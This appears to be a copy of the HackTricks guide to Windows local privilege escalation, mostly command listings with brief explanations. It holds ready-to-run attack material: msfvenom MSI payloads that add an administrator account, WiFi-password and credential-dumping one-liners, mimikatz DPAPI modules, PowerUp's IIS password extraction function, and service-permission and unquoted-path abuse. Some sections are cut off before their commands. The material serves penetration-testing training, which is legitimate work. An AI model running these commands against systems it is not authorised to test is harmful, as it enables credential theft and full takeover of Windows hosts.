Do you use Hacktricks every day? Did you find the book veryuseful? Would you like to receive extra help with cybersecurity questions? Would you like to find more and higher quality content on Hacktricks?
Support Hacktricks through github sponsorsso we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!
If you want to know about my latest modifications/additions or you have any suggestion for HackTricks or PEASS, join the💬telegram group, or follow me on Twitter🐦@carlospolopm.
If you want to share some tricks with the community you can also submit pull requests to https://github.com/carlospolop/hacktricks that will be reflected in this book and don't forget to give ⭐ on github to motivateme to continue developing this book.
Best tool to look for Windows local privilege escalation vectors:WinPEAS****
Initial Windows Theory
Access Tokens
If you don't know what are Windows Access Tokens, read the following page before continuing:
ACLs - DACLs/SACLs/ACEs
If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing:
Integrity Levels
If you don't know what are integrity levels in Windows you should read the following page before continuing:
System Info
Version info enumeration
Check if the Windows version has any known vulnerability (check also the patches applied).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Any credential/Juicy info saved in the env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value
PowerShell History
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results.
You can enable this following the link of the last section (Transcript files) but enabling "Module Logging" instead of "Powershell Transcription".
It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details.
The Script Block logging events can be found in Windows Event viewer under following path: Application and Sevices Logs > Microsoft > Windows > Powershell > Operational
To view the last 20 events you can use:
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
You can compromise the system if the updates are not requested using httpS but http.
You start by checking if the network uses a non-SSL WSUS update by running the following:
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.
Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).
AlwaysInstallElevated
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY*SYSTEM*.
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
Write-UserAddMSI
Just execute the created binary to escalate privileges.
MSI Wrapper
Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a ".bat" file if you just want to executecommand lines
Create MSI with WIX
MSI Installation
To execute the installation of the malicious .msi file in background:
LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
When using LAPS, 2 new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes...
Microsoft in Windows 8.1 and later has provided additional protection for the LSA to prevent untrusted processes from being able to read its memory or to inject code.
More info about LSA Protection here.
Credential Guard is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash.
**[More info about Credentials Guard here.*](../stealing-credentials/credentials-protections.md#credential-guard)\***
Domain credentials are used by operating system components and are authenticated by the LocalSecurity Authority (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data.
More info about Cached Credentials here.
UAC is used to allow an administrator user to not give administrator privileges to each process executed. This is achieved using default the low privileged token of the user.
More information about UAC here.
You should check if any of the groups where you belong have interesting permissions
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Privileged groups
If you belongs to some privileged group you may be able to escalate privileges. Learn about privileged groups and how to abuse them to escalate privileges here:
Token manipulation
Learn more about what is a token in this page: Windows Tokens.
Check the following page to learn about interesting tokens and how to abuse them:
Logged users / Sessions
qwinsta
klist sessions
Home folders
dir C:\Users
Get-ChildItem C:\Users
Password Policy
net accounts
Get the content of the clipboard
powershell -command "Get-Clipboard"
Running Processes
File and Folder Permissions
First of all, listing the processes check for passwords inside the command line of the process.
Check if you can overwrite some binary running or if you have write permissions of the binary folder to exploit possible DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Checking permissions of the folders of the processes binaries (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
You can create a memory dump of a running process using procdump from sysinternals. Services like FTP have the credentials in clear text in memory, try to dump the memory and read the credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Insecure GUI apps
Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
Services
Get a list of services:
net start
wmic service list brief
sc query
Get-Service
Permissions
You can use sc to get information of a service
sc qc <service_name>
It is recommended to have the binary accesschk from Sysinternals to check the required privilege level for each service.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
It is recommended to check if "Authenticated Users" can modify any service:
Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)
Another workaround of this problem is running:
sc.exe config usosvc start= auto
Modify service binary path
If the group "Authenticated users" has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Other Permissions can be used to escalate privileges:
SERVICE_CHANGE_CONFIG Can reconfigure the service binary
WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG
WRITE_OWNER: Can become owner, reconfigure permissions
GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG
GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG
To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions
Services binaries weak permissions
Check if you can modify the binary that is executed by a service or if you have write permissions on the folder where the binary is located (DLL Hijacking).
You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
You can also use sc and icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Services registry modify permissions
You should check if you can modify any service registry.
You can check your permissions over a service registry doing:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.
If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:
Unquoted Service Paths
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
You can detect and exploit this vulnerability with metasploit: exploit/windows/local/trusted_service_path
You can manually create a service binary with metasploit:
It's possible to indicate Windows what it should do when executing a service this fails. If that setting is pointing a binary and this binary can be overwritten you may be able to escalate privileges.
Applications
Installed Applications
Check permissions of the binaries (maybe you can overwrite one and escalate privileges) and of the folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Write Permissions
Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
A way to find weak folder/files permissions in the system is doing:
Check if you can overwrite some registry or binary that is going to be executed by a different user.
Read the following page to learn more about interesting autoruns locations to escalate privileges:
Drivers
Look for possible third party weird/vulnerable drivers
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Network
Shares
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Check for other known computers hardcoded on the hosts file
type C:\Windows\System32\drivers\etc\hosts
Network Interfaces & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Open Ports
Check for restricted services from the outside
netstat -ano #Opened ports?
Routing Table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP Table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
If you get root user you can listen on any port (the first time you use nc.exe to listen on a port it will ask via GUI if nc should be allowed by the firewall).
To easily start bash as root, you can try --default-user root
You can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
The Windows Vault stores user credentials for servers, websites and other programs that Windows can log in the users automatically. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.
Windows Vault stores credentials that Windows can log in the users automatically, which means that any Windows application that needs credentials to access a resource (server or a website) can make use of this Credential Manager & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.
Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow communicate with the credential manager and request the credentials for that resource from the default storage vault.
Use the cmdkey to list the stored credentials on the machine.
Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.
In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.
DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets, or in the case of system encryption, using the system's domain authentication secrets.
The DPAPI keys used for encrypting the user's RSA keys are stored under %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} is the Security Identifier of that user. The DPAPI key is stored in the same file as the master key that protects the users private keys. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it usingdir from the cmd, but you can list it from PS).
You can use mimikatz moduledpapi::masterkey with the appropriate arguments (/pvk or /rpc) to decrypt it.
The credentials files protected by the master password are usually located in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
You can use mimikatz moduledpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPImasterkeys from memory with the sekurlsa::dpapi module (if you are root).
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Saved RDP Connections
You can find them on HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
and in HKCU\Software\Microsoft\Terminal Server Client\Servers\
Use the Mimikatzdpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
AppCmd.exe
Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Check if C:\Windows\CCM\SCClient.exe exists .
Installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading (Info fromhttps://github.com/enjoiz/Privesc).
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there